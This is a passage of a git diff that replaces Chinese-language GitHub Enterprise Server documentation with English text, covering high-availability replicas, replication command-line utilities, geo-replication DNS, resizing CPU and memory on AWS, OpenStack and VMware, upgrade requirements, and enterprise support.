高可用性副本不会替代灾难恢复计划中的非现场备份。 某些形式的数据损坏或数据丢失可能会立即从主设备复制到副本。 为确保安全回滚到稳定的过去状态，必须通过历史快照执行定期备份。 - - **零停机时间升级**。 为避免受控升级场景下出现数据丢失和裂脑的状况，请先将主设备置于维护模式并等待所有写入操作完成，然后再对副本进行升级。 + - **Backing up your primary appliance**. A high availability replica does not replace off-site backups in your disaster recovery plan. Some forms of data corruption or loss may be replicated immediately from the primary to the replica. To ensure safe rollback to a stable past state, you must perform regular backups with historical snapshots. + - **Zero downtime upgrades**. To prevent data loss and split-brain situations in controlled promotion scenarios, place the primary appliance in maintenance mode and wait for all writes to complete before promoting the replica. -## 网络流量故障转移策略 +## Network traffic failover strategies -在故障转移期间，您必须单独配置和管理从主设备到副本的网络流量的重定向。 +During failover, you must separately configure and manage redirecting network traffic from the primary to the replica. -### DNS 故障转移 +### DNS failover -对于 DNS 故障转移，请使用 DNS 记录中指向主 {% data variables.product.prodname_ghe_server %} 设备的短 TTL 值。 建议的 TTL 值范围为 60 秒到 5 分钟。 +With DNS failover, use short TTL values in the DNS records that point to the primary {% data variables.product.prodname_ghe_server %} appliance. We recommend a TTL between 60 seconds and five minutes. -在故障转移期间，必须将主设备置于维护模式，并将其 DNS 记录重定向到副本的 IP 地址。 将流量从主设备重新定向到副本所需的时间将取决于 TTL 配置以及更新 DNS 记录所需的时间。 +During failover, you must place the primary into maintenance mode and redirect its DNS records to the replica appliance's IP address. The time needed to redirect traffic from primary to replica will depend on the TTL configuration and time required to update the DNS records. -如果您要使用 Geo-replication，则必须配置 Geo DNS，将流量定向到距离最近的副本。 更多信息请参阅“[关于 Geo-replication](/enterprise/{{ currentVersion }}/admin/guides/installation/about-geo-replication/)”。 +If you are using geo-replication, you must configure Geo DNS to direct traffic to the nearest replica. For more information, see "[About geo-replication](/enterprise/{{ currentVersion }}/admin/guides/installation/about-geo-replication/)." -### 负载均衡器 +### Load balancer {% data reusables.enterprise_clustering.load_balancer_intro %} {% data reusables.enterprise_clustering.load_balancer_dns %} -在故障转移期间，您必须将主设备置于维护模式。 您可以将负载均衡器配置为自动检测副本何时已升级为主设备，或者可能需要手动更改配置。 您必须先将副本手动升级为主设备，随后副本才能对用户流量作出响应。 更多信息请参阅“[结合使用 {% data variables.product.prodname_ghe_server %} 和负载均衡器](/enterprise/{{ currentVersion }}/admin/guides/installation/using-github-enterprise-server-with-a-load-balancer/)”。 +During failover, you must place the primary appliance into maintenance mode. You can configure the load balancer to automatically detect when the replica has been promoted to primary, or it may require a manual configuration change. You must manually promote the replica to primary before it will respond to user traffic. For more information, see "[Using {% data variables.product.prodname_ghe_server %} with a load balancer](/enterprise/{{ currentVersion }}/admin/guides/installation/using-github-enterprise-server-with-a-load-balancer/)." {% data reusables.enterprise_installation.monitoring-replicas %} -## 用于复制管理的实用程序 +## Utilities for replication management -要管理 {% data variables.product.prodname_ghe_server %} 上的复制，请使用 SSH 连接到副本，以使用以下命令行实用程序。 +To manage replication on {% data variables.product.prodname_ghe_server %}, use these command line utilities by connecting to the replica appliance using SSH. ### ghe-repl-setup -`ghe-repl-setup` 命令可将 {% data variables.product.prodname_ghe_server %} 设备置于副本备用模式。 +The `ghe-repl-setup` command puts a {% data variables.product.prodname_ghe_server %} appliance in replica standby mode. - - 配置加密的 WireGuard VPN 隧道以实现两台设备之间的通信。 - - 配置用于复制的数据库服务并启动。 - - 禁用应用程序服务。 尝试通过 HTTP、Git 或其他受支持协议访问副本将出现“设备处于副本模式”维护页面或显示错误消息。 + - An encrypted WireGuard VPN tunnel is configured for communication between the two appliances. + - Database services are configured for replication and started. + - Application services are disabled. Attempts to access the replica appliance over HTTP, Git, or other supported protocols will result in an "appliance in replica mode" maintenance page or error message. ```shell admin@169-254-1-2:~$ ghe-repl-setup 169.254.1.1 @@ -78,7 +77,7 @@ Run `ghe-repl-start' to start replicating against the newly configured primary. ### ghe-repl-start -`ghe-repl-start` 命令可以启用所有数据存储的主动复制。 +The `ghe-repl-start` command turns on active replication of all datastores. ```shell admin@169-254-1-2:~$ ghe-repl-start @@ -93,7 +92,7 @@ Use `ghe-repl-status' to monitor replication health and progress. ### ghe-repl-status -`ghe-repl-status` 命令可以返回各数据存储复制流的 `OK`、`WARNING` 或 `CRITICAL` 状态。 如果有任何复制通道处于 `WARNING` 状态，命令将停止执行并显示代码 `1`。 同样，如果有任何通道处于 `CRITICAL` 状态，命令将停止执行并显示代码 `2`。 +The `ghe-repl-status` command returns an `OK`, `WARNING` or `CRITICAL` status for each datastore replication stream. When any of the replication channels are in a `WARNING` state, the command will exit with the code `1`. Similarly, when any of the channels are in a `CRITICAL` state, the command will exit with the code `2`. ```shell admin@169-254-1-2:~$ ghe-repl-status @@ -104,7 +103,7 @@ OK: git data is in sync (10 repos, 2 wikis, 5 gists) OK: pages data is in sync ``` -`-v` 和 `-vv` 选项可以提供关于各数据存储复制状态的详细信息： +The `-v` and `-vv` options give details about each datastore's replication state: ```shell $ ghe-repl-status -v @@ -145,7 +144,7 @@ OK: pages data is in sync ### ghe-repl-stop -`ghe-repl-stop` 命令可以暂时禁用所有数据存储的复制并停止复制服务。 要恢复复制，请使用 [ghe-repl-start](#ghe-repl-start) 命令。 +The `ghe-repl-stop` command temporarily disables replication for all datastores and stops the replication services. To resume replication, use the [ghe-repl-start](#ghe-repl-start) command. ```shell admin@168-254-1-2:~$ ghe-repl-stop @@ -159,7 +158,7 @@ Success: replication was stopped for all services. ### ghe-repl-promote -`ghe-repl-promote` 命令可以禁用复制并将副本转换为主设备。 设备会配置为使用与原主设备相同的设置，并启用所有服务。 +The `ghe-repl-promote` command disables replication and converts the replica appliance to a primary. The appliance is configured with the same settings as the original primary and all services are enabled. {% data reusables.enterprise_installation.promoting-a-replica %} @@ -182,8 +181,9 @@ Success: Replica has been promoted to primary and is now accepting requests. ### ghe-repl-teardown -`ghe-repl-teardown` 命令可以完全禁用复制模式，并移除副本配置。 +The `ghe-repl-teardown` command disables replication mode completely, removing the replica configuration. -## 延伸阅读 +## Further reading -- “[创建高可用性副本](/enterprise/{{ currentVersion }}/admin/guides/installation/creating-a-high-availability-replica)” +- "[Creating a high availability replica](/enterprise/{{ currentVersion }}/admin/guides/installation/creating-a-high-availability-replica)" +- "[Network ports](/admin/configuration/configuring-network-settings/network-ports)" \ No newline at end of file diff --git a/translations/zh-CN/content/admin/enterprise-management/configuring-high-availability/creating-a-high-availability-replica.md b/translations/zh-CN/content/admin/enterprise-management/configuring-high-availability/creating-a-high-availability-replica.md index e005411bbe..31d4dbeb3f 100644 --- a/translations/zh-CN/content/admin/enterprise-management/configuring-high-availability/creating-a-high-availability-replica.md +++ b/translations/zh-CN/content/admin/enterprise-management/configuring-high-availability/creating-a-high-availability-replica.md @@ -1,6 +1,6 @@ --- -title: 创建高可用性副本 -intro: 在主动/被动配置中，副本设备是主设备的冗余副本。 如果主设备发生故障，高可用性模式允许副本作为主设备运行，从而最大限度地减少服务中断。 +title: Creating a high availability replica +intro: 'In an active/passive configuration, the replica appliance is a redundant copy of the primary appliance. If the primary appliance fails, high availability mode allows the replica to act as the primary appliance, allowing minimal service disruption.' redirect_from: - /enterprise/admin/installation/creating-a-high-availability-replica - /enterprise/admin/enterprise-management/creating-a-high-availability-replica @@ -12,82 +12,82 @@ topics: - Enterprise - High availability - Infrastructure -shortTitle: 创建 HA 副本 +shortTitle: Create HA replica --- - {% data reusables.enterprise_installation.replica-limit %} -## 创建高可用性副本 +## Creating a high availability replica -1. 在所需平台上设置新的 {% data variables.product.prodname_ghe_server %} 设备。 副本设备应镜像主设备的 CPU、RAM 和存储设置。 建议您在独立环境中安装副本设备。 底层硬件、软件和网络组件应与主设备的相应部分隔离。 如果要使用云提供商，请使用单独的区域或分区。 更多信息请参阅“[设置 {% data variables.product.prodname_ghe_server %} 实例](/enterprise/{{ currentVersion }}/admin/guides/installation/setting-up-a-github-enterprise-server-instance)”。 -2. 在浏览器中，导航到新副本设备的 IP 地址并上传您的 {% data variables.product.prodname_enterprise %} 许可。 +1. Set up a new {% data variables.product.prodname_ghe_server %} appliance on your desired platform. The replica appliance should mirror the primary appliance's CPU, RAM, and storage settings. We recommend that you install the replica appliance in an independent environment. The underlying hardware, software, and network components should be isolated from those of the primary appliance. If you are a using a cloud provider, use a separate region or zone. For more information, see ["Setting up a {% data variables.product.prodname_ghe_server %} instance"](/enterprise/{{ currentVersion }}/admin/guides/installation/setting-up-a-github-enterprise-server-instance). +1. Ensure that both the primary appliance and the new replica appliance can communicate with each other over ports 122/TCP and 1194/UDP. For more information, see "[Network ports](/admin/configuration/configuring-network-settings/network-ports#administrative-ports)." +1. In a browser, navigate to the new replica appliance's IP address and upload your {% data variables.product.prodname_enterprise %} license. {% data reusables.enterprise_installation.replica-steps %} -6. 使用 SSH 连接到副本设备的 IP 地址。 +1. Connect to the replica appliance's IP address using SSH. ```shell $ ssh -p 122 admin@REPLICA IP ``` {% data reusables.enterprise_installation.generate-replication-key-pair %} {% data reusables.enterprise_installation.add-ssh-key-to-primary %} -9. 要验证与主设备的连接并为新副本启用副本模式，请再次运行 `ghe-repl-setup`。 +1. To verify the connection to the primary and enable replica mode for the new replica, run `ghe-repl-setup` again. ```shell $ ghe-repl-setup PRIMARY IP ``` {% data reusables.enterprise_installation.replication-command %} {% data reusables.enterprise_installation.verify-replication-channel %} -## 创建 Geo-replication 副本 +## Creating geo-replication replicas -此示例配置使用一个主设备和两个副本，它们位于三个不同的地理区域。 由于三个节点可以位于不同网络中，要求所有节点均可从其他所有节点到达。 必需的管理端口至少应向其他所有节点开放。 有关端口要求的更多信息，请参阅“[网络端口](/enterprise/{{ currentVersion }}/admin/guides/installation/network-ports/#administrative-ports)”。 +This example configuration uses a primary and two replicas, which are located in three different geographic regions. While the three nodes can be in different networks, all nodes are required to be reachable from all the other nodes. At the minimum, the required administrative ports should be open to all the other nodes. For more information about the port requirements, see "[Network Ports](/enterprise/{{ currentVersion }}/admin/guides/installation/network-ports/#administrative-ports)." -1. 在第一个副本上运行 `ghe-repl-setup`，采用与创建标准双节点配置相同的方式创建第一个副本。 +1. Create the first replica the same way you would for a standard two node configuration by running `ghe-repl-setup` on the first replica. ```shell (replica1)$ ghe-repl-setup PRIMARY IP (replica1)$ ghe-repl-start ``` -2. 创建第二个副本并使用 `ghe-repl-setup --add` 命令。 `--add` 标志可防止其覆盖现有的复制配置，并将新副本添加到配置中。 +2. Create a second replica and use the `ghe-repl-setup --add` command. The `--add` flag prevents it from overwriting the existing replication configuration and adds the new replica to the configuration. ```shell (replica2)$ ghe-repl-setup --add PRIMARY IP (replica2)$ ghe-repl-start ``` -3. 默认情况下，副本被配置到同一个数据中心，现在将尝试从同一个数据中心中的现有节点播种。 为数据中心选项设置不同的值，通过这种方式为不同的数据中心配置副本。 可以随意设定特定值，只要数值彼此不同即可。 在每个节点上运行 `ghe-repl-node` 命令并指定数据中心。 +3. By default, replicas are configured to the same datacenter, and will now attempt to seed from an existing node in the same datacenter. Configure the replicas for different datacenters by setting a different value for the datacenter option. The specific values can be anything you would like as long as they are different from each other. Run the `ghe-repl-node` command on each node and specify the datacenter. - 在主设备上： + On the primary: ```shell (primary)$ ghe-repl-node --datacenter [PRIMARY DC NAME] ``` - 在第一个副本上： + On the first replica: ```shell (replica1)$ ghe-repl-node --datacenter [FIRST REPLICA DC NAME] ``` - 在第二个副本上： + On the second replica: ```shell (replica2)$ ghe-repl-node --datacenter [SECOND REPLICA DC NAME] ``` {% tip %} - **提示：**您可以同时设置 `--datacenter` 和 `--activity` 选项。 + **Tip:** You can set the `--datacenter` and `--active` options at the same time. {% endtip %} -4. 活动副本节点将存储设备数据的副本并为最终用户请求提供服务。 非活动节点将存储设备数据的副本，但无法为最终用户请求提供服务。 使用 `--active` 标志启用活动模式，或使用 `--inactive` 标志启用非活动模式。 +4. An active replica node will store copies of the appliance data and service end user requests. An inactive node will store copies of the appliance data but will be unable to service end user requests. Enable active mode using the `--active` flag or inactive mode using the `--inactive` flag. - 在第一个副本上： + On the first replica: ```shell (replica1)$ ghe-repl-node --active ``` - 在第二个副本上： + On the second replica: ```shell (replica2)$ ghe-repl-node --active ``` -5. 要应用配置，请在主设备上使用 `ghe-config-apply` 命令。 +5. To apply the configuration, use the `ghe-config-apply` command on the primary. ```shell (primary)$ ghe-config-apply ``` -## 为 Geo-replication 配置 DNS +## Configuring DNS for geo-replication -使用主节点和副本节点的 IP 地址配置 Geo DNS。 您还可以为主节点（例如 `primary.github.example.com`）创建 DNS CNAME，以通过 SSH 访问主节点或通过 `backup-utils` 备份主节点。 +Configure Geo DNS using the IP addresses of the primary and replica nodes. You can also create a DNS CNAME for the primary node (e.g. `primary.github.example.com`) to access the primary node via SSH or to back it up via `backup-utils`. -要进行测试，您可以将条目添加到本地工作站的 `hosts` 文件（如 `/etc/hosts`）。 这些示例条目会将 `HOSTNAME` 的请求解析到 `replica2`。 您可以注释不同的行，以特定主机为目标。 +For testing, you can add entries to the local workstation's `hosts` file (for example, `/etc/hosts`). These example entries will resolve requests for `HOSTNAME` to `replica2`. You can target specific hosts by commenting out different lines. ``` # HOSTNAME @@ -95,8 +95,8 @@ shortTitle: 创建 HA 副本 HOSTNAME ``` -## 延伸阅读 +## Further reading -- "[关于高可用性配置](/enterprise/{{ currentVersion }}/admin/guides/installation/about-high-availability-configuration)" -- "[用于复制管理的实用程序](/enterprise/{{ currentVersion }}/admin/guides/installation/about-high-availability-configuration/#utilities-for-replication-management)" -- “[关于 Geo-replication](/enterprise/{{ currentVersion }}/admin/guides/installation/about-geo-replication/)” +- "[About high availability configuration](/enterprise/{{ currentVersion }}/admin/guides/installation/about-high-availability-configuration)" +- "[Utilities for replication management](/enterprise/{{ currentVersion }}/admin/guides/installation/about-high-availability-configuration/#utilities-for-replication-management)" +- "[About geo-replication](/enterprise/{{ currentVersion }}/admin/guides/installation/about-geo-replication/)" diff --git a/translations/zh-CN/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/increasing-cpu-or-memory-resources.md b/translations/zh-CN/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/increasing-cpu-or-memory-resources.md index f4d75418a4..c6425f3a22 100644 --- a/translations/zh-CN/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/increasing-cpu-or-memory-resources.md +++ b/translations/zh-CN/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/increasing-cpu-or-memory-resources.md @@ -1,6 +1,6 @@ --- -title: 增加 CPU 或内存资源 -intro: '如果 {% data variables.product.product_location_enterprise %} 上的操作速度较慢，您可能需要增加 CPU 或内存资源。' +title: Increasing CPU or memory resources +intro: 'You can increase the CPU or memory resources for a {% data variables.product.prodname_ghe_server %} instance.' redirect_from: - /enterprise/admin/installation/increasing-cpu-or-memory-resources - /enterprise/admin/enterprise-management/increasing-cpu-or-memory-resources @@ -12,64 +12,64 @@ topics: - Enterprise - Infrastructure - Performance -shortTitle: 增加 CPU 或内存 +shortTitle: Increase CPU or memory --- - {% data reusables.enterprise_installation.warning-on-upgrading-physical-resources %} -## 为 AWS 增加 CPU 或内存资源 +## Adding CPU or memory resources for AWS {% note %} -**注**：要为 AWS 增加 CPU 或内存资源，您必须能够熟练使用 AWS 管理控制台或 `aws ec2` 命令行接口管理 EC2 实例。 有关使用您所选 AWS 工具执行调整的背景和详细信息，请参阅关于[调整 Amazon EBS 支持的实例](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-resize.html)的 AWS 文档。 +**Note:** To add CPU or memory resources for AWS, you must be familiar with using either the AWS management console or the `aws ec2` command line interface to manage EC2 instances. For background and details on using the AWS tools of your choice to perform the resize, see the AWS documentation on [resizing an Amazon EBS-backed instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-resize.html). {% endnote %} -### 调整的考量因素 +### Resizing considerations -在为 {% data variables.product.product_location %} 增加 CPU 或内存资源之前： +Before increasing CPU or memory resources for {% data variables.product.product_location %}, review the following recommendations. -- **使用 CPU 扩展内存**。 {% data reusables.enterprise_installation.increasing-cpus-req %} -- **将 Elastic IP 地址分配给实例**。 如果未分配弹性 IP，则在重启后您必须调整 {% data variables.product.prodname_ghe_server %} 主机的 DNS A 记录，以反映公共 IP 地址的变更。 在实例重新启动后，如果它启动到 VPC 中，会自动保留弹性 IP (EIP)。 如果实例启动到 EC2-Classic 中，则必须手动重新关联弹性 IP。 +- **Scale your memory with CPUs**. {% data reusables.enterprise_installation.increasing-cpus-req %} +- **Assign an Elastic IP address to the instance**. If you haven't assigned an Elastic IP to your instance, you'll have to adjust the DNS A records for your {% data variables.product.prodname_ghe_server %} host after the restart to account for the change in public IP address. Once your instance restarts, the instance keeps the Elastic IP if you launched the instance in a virtual private cloud (VPC). If you create the instance in an EC2-Classic network, you must manually reassign the Elastic IP to the instance. -### 支持的 AWS 实例类型 +### Supported AWS instance types -您需要根据 CPU/内存规范确定升级的目标实例类型。 +You need to determine the instance type you would like to upgrade to based on CPU/memory specifications. {% data reusables.enterprise_installation.warning-on-scaling %} {% data reusables.enterprise_installation.aws-instance-recommendation %} -### 针对 AWS 进行调整 +### Resizing for AWS {% note %} -**注**：对于启动到 EC2-Classic 中的实例，请记下与实例关联的弹性 IP 地址以及实例的 ID。 重启实例后，请重新关联弹性 IP 地址。 +**Note:** For instances launched in EC2-Classic, write down both the Elastic IP address associated with the instance and the instance's ID. Once you restart the instance, re-associate the Elastic IP address. {% endnote %} -无法将 CPU 或内存资源添加到现有的 AWS/EC2 实例。 相反，您必须执行以下操作： +It's not possible to add CPU or memory resources to an existing AWS/EC2 instance. Instead, you must: -1. 停止实例。 -2. 更改实例类型。 -3. 启动实例。 +1. Stop the instance. +2. Change the instance type. +3. Start the instance. {% data reusables.enterprise_installation.configuration-recognized %} -## 为 OpenStack KVM 增加 CPU 或内存资源 +## Adding CPU or memory resources for OpenStack KVM -无法将 CPU 或内存资源添加到现有的 OpenStack KVM 实例。 相反，您必须执行以下操作： +It's not possible to add CPU or memory resources to an existing OpenStack KVM instance. Instead, you must: -1. 生成当前实例的快照。 -2. 停止实例。 -3. 选择包含所需 CPU 和/或内存资源的新实例。 +1. Take a snapshot of the current instance. +2. Stop the instance. +3. Select a new instance flavor that has the desired CPU and/or memory resources. -## 为 VMWare 增加 CPU 或内存资源 +## Adding CPU or memory resources for VMware {% data reusables.enterprise_installation.increasing-cpus-req %} -1. 使用 vSphere Client 连接到 VMware ESXi 主机。 -2. 关闭 {% data variables.product.product_location %}。 -3. 选择虚拟机，然后单击 **Edit Settings**。 -4. 在“Hardware”下，根据需要调整分配给虚拟机的 CPU 和/或内存资源。 ![VMware 设置资源](/assets/images/enterprise/vmware/vsphere-hardware-tab.png) -5. 要启动虚拟机，请单击 **OK**。 +1. Use the vSphere Client to connect to the VMware ESXi host. +2. Shut down {% data variables.product.product_location %}. +3. Select the virtual machine and click **Edit Settings**. +4. Under "Hardware", adjust the CPU and/or memory resources allocated to the virtual machine as needed: +![VMware setup resources](/assets/images/enterprise/vmware/vsphere-hardware-tab.png) +5. To start the virtual machine, click **OK**. {% data reusables.enterprise_installation.configuration-recognized %} diff --git a/translations/zh-CN/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrade-requirements.md b/translations/zh-CN/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrade-requirements.md index 08a7090366..829cdf411e 100644 --- a/translations/zh-CN/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrade-requirements.md +++ b/translations/zh-CN/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrade-requirements.md @@ -1,6 +1,6 @@ --- -title: 升级要求 -intro: '对 {% data variables.product.prodname_ghe_server %} 进行升级之前，请查阅升级策略规划的建议和要求。' +title: Upgrade requirements +intro: 'Before upgrading {% data variables.product.prodname_ghe_server %}, review these recommendations and requirements to plan your upgrade strategy.' redirect_from: - /enterprise/admin/installation/upgrade-requirements - /enterprise/admin/guides/installation/finding-the-current-github-enterprise-release/ @@ -13,39 +13,37 @@ topics: - Enterprise - Upgrades --- - {% note %} -**注意：** -- 要由 {% data variables.product.prodname_enterprise %} 11.10.348 升级到 {% data variables.product.current-340-version %}，您必须先迁移到 {% data variables.product.prodname_enterprise %} 2.1.23。 更多信息请参阅“[从 {% data variables.product.prodname_enterprise %} 11.10.x 迁移到 2.1.23](/enterprise/{{ currentVersion }}/admin/guides/installation/migrating-from-github-enterprise-11-10-x-to-2-1-23)”。 -- 为受支持版本提供的升级包位于 [enterprise.github.com](https://enterprise.github.com/releases)。 验证完成升级所需的升级包的可用性。 如果升级包不可用，请联系 {% data variables.contact.contact_ent_support %} 获得帮助。 -- 如果您使用 {% data variables.product.prodname_ghe_server %} 集群，请参阅 {% data variables.product.prodname_ghe_server %} 集群指南中的“[升级集群](/enterprise/{{ currentVersion }}/admin/guides/clustering/upgrading-a-cluster/)”，了解集群特有的说明。 -- {% data variables.product.prodname_ghe_server %} 版本说明提供了 {% data variables.product.prodname_ghe_server %} 每一版本的新功能一览表。 更多信息请参阅[版本页面](https://enterprise.github.com/releases)。 +**Notes:** +- Upgrade packages are available at [enterprise.github.com](https://enterprise.github.com/releases) for supported versions. Verify the availability of the upgrade packages you will need to complete the upgrade. If a package is not available, contact {% data variables.contact.contact_ent_support %} for assistance. +- If you're using {% data variables.product.prodname_ghe_server %} Clustering, see "[Upgrading a cluster](/enterprise/{{ currentVersion }}/admin/guides/clustering/upgrading-a-cluster/)" in the {% data variables.product.prodname_ghe_server %} Clustering Guide for specific instructions unique to clustering. +- The release notes for {% data variables.product.prodname_ghe_server %} provide a comprehensive list of new features for every version of {% data variables.product.prodname_ghe_server %}. For more information, see the [releases page](https://enterprise.github.com/releases). {% endnote %} -## 建议 +## Recommendations -- 尽量减少升级过程中的升级次数。 例如，不要从 {% data variables.product.prodname_enterprise %} {{ enterpriseServerReleases.supported[2] }} 升级到 {{ enterpriseServerReleases.supported[1] }} 再升级到 {{ enterpriseServerReleases.latest }}，而应从 {% data variables.product.prodname_enterprise %} {{ enterpriseServerReleases.supported[2] }} 升级到 {{ enterpriseServerReleases.latest }}。 -- 如果您的版本比最新版本低几个版本，请通过升级过程的每一步骤尽量将 {% data variables.product.product_location %} 升级为更高版本。 在每次升级时尽可能使用最新版本，这样一来您可以充分利用性能改进和错误修复。 例如，您可以从 {% data variables.product.prodname_enterprise %} 2.7 升级到 2.8 再升级到 2.10，但从 {% data variables.product.prodname_enterprise %} 2.7 升级到 2.9 再升级到 2.10 会在第二步中使用更高版本。 -- 升级时使用最新补丁版本。 {% data reusables.enterprise_installation.enterprise-download-upgrade-pkg %} -- 使用暂存实例测试升级步骤。 更多信息请参阅“[设置暂存实例](/enterprise/{{ currentVersion }}/admin/guides/installation/setting-up-a-staging-instance/)”。 -- 如果运行多次升级，两次功能升级之间至少应间隔 24 小时，以便使数据迁移和后台升级任务能够彻底完成。 +- Include as few upgrades as possible in your upgrade process. For example, instead of upgrading from {% data variables.product.prodname_enterprise %} {{ enterpriseServerReleases.supported[2] }} to {{ enterpriseServerReleases.supported[1] }} to {{ enterpriseServerReleases.latest }}, you could upgrade from {% data variables.product.prodname_enterprise %} {{ enterpriseServerReleases.supported[2] }} to {{ enterpriseServerReleases.latest }}. +- If you’re several versions behind, upgrade {% data variables.product.product_location %} as far forward as possible with each step of your upgrade process. Using the latest version possible on each upgrade allows you to take advantage of performance improvements and bug fixes. For example, you could upgrade from {% data variables.product.prodname_enterprise %} 2.7 to 2.8 to 2.10, but upgrading from {% data variables.product.prodname_enterprise %} 2.7 to 2.9 to 2.10 uses a later version in the second step. +- Use the latest patch release when upgrading. {% data reusables.enterprise_installation.enterprise-download-upgrade-pkg %} +- Use a staging instance to test the upgrade steps. For more information, see "[Setting up a staging instance](/enterprise/{{ currentVersion }}/admin/guides/installation/setting-up-a-staging-instance/)." +- When running multiple upgrades, wait at least 24 hours between feature upgrades to allow data migrations and upgrade tasks running in the background to fully complete. -## 要求 +## Requirements -- 您必须从**最近**两个版本的功能版本开始升级。 例如，要升级到 {% data variables.product.prodname_enterprise %} {{ enterpriseServerReleases.latest }}，您必须使用 {% data variables.product.prodname_enterprise %} {{ enterpriseServerReleases.supported[1] }} 或 {{ enterpriseServerReleases.supported[2] }}。 +- You must upgrade from a feature release that's **at most** two releases behind. For example, to upgrade to {% data variables.product.prodname_enterprise %} {{ enterpriseServerReleases.latest }}, you must be on {% data variables.product.prodname_enterprise %} {{ enterpriseServerReleases.supported[1] }} or {{ enterpriseServerReleases.supported[2] }}. - {% data reusables.enterprise_installation.hotpatching-explanation %} -- 如果受影响的服务（例如内核、MySQL 或 Elasticsearch）需要重启 VM 或服务，热补丁可能需要停机一段时间。 需要重启时，系统会通知您。 您可以在稍后完成重启。 -- 通过热补丁升级时，必须提供额外的根存储，因为热补丁会安装某些服务的多个版本，直至升级完成。 如果根磁盘存储空间不足，运行前检查将发出通知。 -- 通过热补丁进行升级时，您的实例负荷不能过大，否则可能影响热补丁过程。 运行前检查将考虑平均负载，如果平均负载过高，升级将失败。- 升级至 {% data variables.product.prodname_ghe_server %} 2.17 可将您的审核日志从 Elasticsearch 迁移到 MySQL. 这种迁移还会增加恢复快照所需的时长和磁盘空间大小。 迁移之前，请使用此命令检查 ElasticSearch 审核日志索引中的字节数： +- A hotpatch may require downtime if the affected services (like kernel, MySQL, or Elasticsearch) require a VM reboot or a service restart. You'll be notified when a reboot or restart is required. You can complete the reboot or restart at a later time. +- Additional root storage must be available when upgrading through hotpatching, as it installs multiple versions of certain services until the upgrade is complete. Pre-flight checks will notify you if you don't have enough root disk storage. +- When upgrading through hotpatching, your instance cannot be too heavily loaded, as it may impact the hotpatching process. Pre-flight checks will consider the load average and the upgrade will fail if the load average is too high.- Upgrading to {% data variables.product.prodname_ghe_server %} 2.17 migrates your audit logs from Elasticsearch to MySQL. This migration also increases the amount of time and disk space it takes to restore a snapshot. Before migrating, check the number of bytes in your Elasticsearch audit log indices with this command: ``` shell curl -s http://localhost:9201/audit_log/_stats/store | jq ._all.primaries.store.size_in_bytes ``` -使用此数字估算 MySQL 审核日志将需要的磁盘空间大小。 该脚本还会在导入过程中监视可用磁盘空间大小。 在可用磁盘空间大小接近于迁移必需的磁盘空间大小时，监视此数字尤为重要。 +Use the number to estimate the amount of disk space the MySQL audit logs will need. The script also monitors your free disk space while the import is in progress. Monitoring this number is especially useful if your free disk space is close to the amount of disk space necessary for migration. {% data reusables.enterprise_installation.upgrade-hardware-requirements %} -## 后续步骤 +## Next steps -查看这些建议和要求后，您可以对 {% data variables.product.prodname_ghe_server %} 进行升级。 更多信息请参阅“[升级 {% data variables.product.prodname_ghe_server %}”](/enterprise/{{ currentVersion }}/admin/guides/installation/upgrading-github-enterprise-server/)。 +After reviewing these recommendations and requirements, you can upgrade {% data variables.product.prodname_ghe_server %}. For more information, see "[Upgrading {% data variables.product.prodname_ghe_server %}](/enterprise/{{ currentVersion }}/admin/guides/installation/upgrading-github-enterprise-server/)." diff --git a/translations/zh-CN/content/admin/enterprise-support/overview/about-github-enterprise-support.md b/translations/zh-CN/content/admin/enterprise-support/overview/about-github-enterprise-support.md index 8e85bbf3a9..c13b7e3a23 100644 --- a/translations/zh-CN/content/admin/enterprise-support/overview/about-github-enterprise-support.md +++ b/translations/zh-CN/content/admin/enterprise-support/overview/about-github-enterprise-support.md @@ -1,6 +1,6 @@ --- -title: 关于 GitHub Enterprise Support -intro: '{% data variables.contact.github_support %} 可帮助您排除 {% data variables.product.product_name %} 上出现的问题。' +title: About GitHub Enterprise Support +intro: '{% data variables.contact.github_support %} can help you troubleshoot issues that arise on {% data variables.product.product_name %}.' redirect_from: - /enterprise/admin/enterprise-support/about-github-enterprise-support - /admin/enterprise-support/about-github-enterprise-support @@ -11,84 +11,83 @@ type: overview topics: - Enterprise - Support -shortTitle: GitHub Enterprise 支持 +shortTitle: GitHub Enterprise Support --- - {% note %} -**注意**：{% data reusables.support.data-protection-and-privacy %} +**Note**: {% data reusables.support.data-protection-and-privacy %} {% endnote %} -## 关于 {% data variables.contact.enterprise_support %} +## About {% data variables.contact.enterprise_support %} -{% data variables.product.product_name %} 包括 {% data variables.contact.enterprise_support %} 英语版{% ifversion ghes %}和日语版{% endif %}。 +{% data variables.product.product_name %} includes {% data variables.contact.enterprise_support %} in English{% ifversion ghes %} and Japanese{% endif %}. {% ifversion ghes %} -您可以通过 {% data variables.contact.enterprise_support %} 联系 {% data variables.contact.contact_enterprise_portal %} 来寻求以下帮助： - - 安装和使用 {% data variables.product.product_name %} - - 识别并验证可疑错误的原因 +You can contact {% data variables.contact.enterprise_support %} through {% data variables.contact.contact_enterprise_portal %} for help with: + - Installing and using {% data variables.product.product_name %} + - Identifying and verifying the causes of suspected errors -除了 {% data variables.contact.enterprise_support %} 的所有优点之外，{% data variables.product.product_name %} 的 {% data variables.contact.premium_support %} 支持还提供： - - 通过我们的支持门户网站全天候提供书面支持 - - 全天候电话支持 - - 保证初始响应时间的服务等级协议 (SLA) - - 客户可靠性工程师 - - 高级内容访问权限 - - 按时健康状态检查 - - 管理的管理员小时数 +In addition to all of the benefits of {% data variables.contact.enterprise_support %}, {% data variables.contact.premium_support %} support for {% data variables.product.product_name %} offers: + - Written support through our support portal 24 hours per day, 7 days per week + - Phone support 24 hours per day, 7 days per week + - A Service Level Agreement (SLA) with guaranteed initial response times + - Customer Reliability Engineers + - Access to premium content + - Scheduled health checks + - Managed Admin hours {% endif %} {% ifversion ghes %} -更多信息请参阅“[关于 {% data variables.product.prodname_ghe_server %} 的 {% data variables.contact.premium_support %}](/enterprise/admin/guides/enterprise-support/about-github-premium-support-for-github-enterprise-server)”。 +For more information, see "[About {% 